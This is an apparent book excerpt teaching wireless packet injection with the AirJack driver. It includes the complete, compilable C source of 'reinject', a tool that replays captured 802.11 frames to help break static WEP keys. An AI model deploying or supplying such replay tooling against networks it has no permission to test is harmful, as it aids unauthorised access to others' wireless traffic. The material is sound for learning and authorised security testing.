AirJack is a device driver supporting arbitrary packet capture and creation, and although you can use libpcap with AirJack to capture packets, you also can create packets using the Linux low-level sockets interface. To show you how to use AirJack for packet injection, we will use a simple reinjection tool called reinject .

Overview of reinject

reinject is designed to capture a packet from the interface using libpcap, and then to reinject the captured packet into the existing wireless conversation. This type of tool can be extended for use in attacking WEP encryption with a static key by capturing a packet that generates a response (i.e., an ARP request) and replaying it on the encrypted network many times to capture the encrypted replies (i.e., ARP replies). This works on networks with static WEP keys due to the lack of replay protection in the initial 802.11 standards. In conjunction with other attacks on WEP encryption, this approach can make it easier to determine a static WEP key.

reinject is a very simple tool in that it does not have the ability to change the channel on which it is capturing packets or sending data. AirJack ships with several examples that show you how to change channels within your tool.

Using sockets with AirJack

To open the AirJack interface for packet injection, we first need to create a socket, as shown in Example 11-11. The socket function is documented in the Linux manpages in Section 2 (man 2 socket). In this example we open the socket to use the Linux low-level PF_PACKET interface (man 7 packet) in a raw mode for all possible protocols.

Example 11-11. Opening the socket

 /* open socket */
  if ((fd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0)
    {
      fprintf (stderr, "Can't open socket\n");
      exit (1);
    }

To send and receive in raw mode, we need to bind the open socket to a specific network interface. This requires finding the interface index as stored internally using an ioctl( ) call, as shown in Example 11-13 (see man 7 netdevice for more details on valid ioctl).

Example 11-12. Finding the interface index

 /* find the interface index */
  strncpy (req.ifr_name, device, IFNAMSIZ);

  if (ioctl (fd, SIOCGIFINDEX, &req) < 0)
    {
      fprintf (stderr, "Can't find interface index\n");
      exit (1);
    }

Once we have the interface index and the socket, we can bind the socket to the interface, as shown in Example 11-13.

Example 11-13. Binding the socket and interface

/* bind socket to interface */
  addr.sll_ifindex = req.ifr_ifindex;
  addr.sll_protocol = htons (ETH_P_ALL);
  addr.sll_family = AF_PACKET;

  if (bind (fd, (struct sockaddr *) &addr, sizeof (struct sockaddr_ll)) < 0)
    {
      fprintf (stderr, "Can't bind interface\n");
      exit (1);
    }

Now we can start sending data to the wireless network, as shown in Example 11-14.

Example 11-14. Sending a packet out on the wireless network

      if ((r = write (fd, (const void *) packet, header->len)) < 0)
        {
          fprintf (stderr, "Error writing packet: %d\n", cnt);
        }

The reinject Tool Source Code

Example 11-15 provides the full source code to the reinject tool. This should compile on most Linux systems as follows:

gcc -o reinject reinject.c

This was written for Gentoo Linux. Other Linux distributions might require some minor tweaks to compile.

Example 11-15. Source code to the reinject tool

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <asm/types.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <time.h>
#include <pcap.h>
#include "80211.h"
#include "airjack.h"

#define PACKLEN 101

/* globals */
int fd;                /* socket file descriptor */

/* usage */
void
usage (char *name)
{
  printf ("%s - Simple WEP reinjection attack\n", name);
  printf ("Usage: %s [-i interface]\n", name);
  printf ("    -i    Interface to use\n");
  exit (1);
}

void
packet_handler (u_char * user, const struct pcap_pkthdr *header,
        const u_char * packet)
{
  int i, r;
  static int cnt = 0;

  if ((header->len < PACKLEN) && (packet[0] == 0x08))
    {
      printf ("reinjecting packet %d %x %x\n", cnt++, packet[0], packet[1]);
      for (i = 0; i < 2; i++)
    {
      if ((r = write (fd, (const void *) packet, header->len)) < 0)
        {
          fprintf (stderr, "Error writing packet: %d\n", cnt);
        }
      printf ("Wrote %d\n", r);
    }
    }
}

int
main (int argc, char *argv[])
{
  char *device = NULL;        /* device for sniffing/sending */
  char o;            /* for option processing */
  char errbuf[PCAP_ERRBUF_SIZE];    /* pcap error messages */
  pcap_t *handle;        /* libpcap handle */
  struct sockaddr_ll addr;    /* link layer socket handle */
  struct ifreq req;        /* interface request */
  time_t tv;            /* time */

  while ((o = getopt (argc, argv, "i:")) > 0)
    {
      switch (o)
    {
    case 'i':
      device = optarg;
      break;
    default:
      usage (argv[0]);
      break;
    }
    }

  if (device == NULL)
    device = "aj0";

  /* open the device with pcap */
  if ((handle = pcap_open_live (device, 3000, 1, 0, errbuf)) == NULL)
    {
      fprintf (stderr, "Error opening pcap: %s\n", errbuf);
      exit (1);
    }

  if (pcap_datalink (handle) != DLT_IEEE802_11)
    {
      fprintf (stderr, "Wrong link layer - is %s an airjack interface?\n",
           device);
      exit (1);
    }

  if (pcap_setnonblock (handle, 1, errbuf) < 0)
    {
      fprintf (stderr, "Can't set non blocking: %s\n", errbuf);
      exit (1);
    }

  /* open socket */
  if ((fd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0)
    {
      fprintf (stderr, "Can't open socket\n");
      exit (1);
    }

  /* find the interface index */
  strncpy (req.ifr_name, device, IFNAMSIZ);

  if (ioctl (fd, SIOCGIFINDEX, &req) < 0)
    {
      fprintf (stderr, "Can't find interface index\n");
      exit (1);
    }

  /* bind socket to interface */
  addr.sll_ifindex = req.ifr_ifindex;
  addr.sll_protocol = htons (ETH_P_ALL);
  addr.sll_family = AF_PACKET;
  if (bind (fd, (struct sockaddr *) &addr, sizeof (struct sockaddr_ll)) < 0)
    {
      fprintf (stderr, "Can't bind interface\n");
      exit (1);
    }

  tv = time (NULL);

  while ((time (NULL) - tv) < 30)
    {
      pcap_dispatch (handle, -1, packet_handler, NULL);
    }
  return 0;
}
Personal tools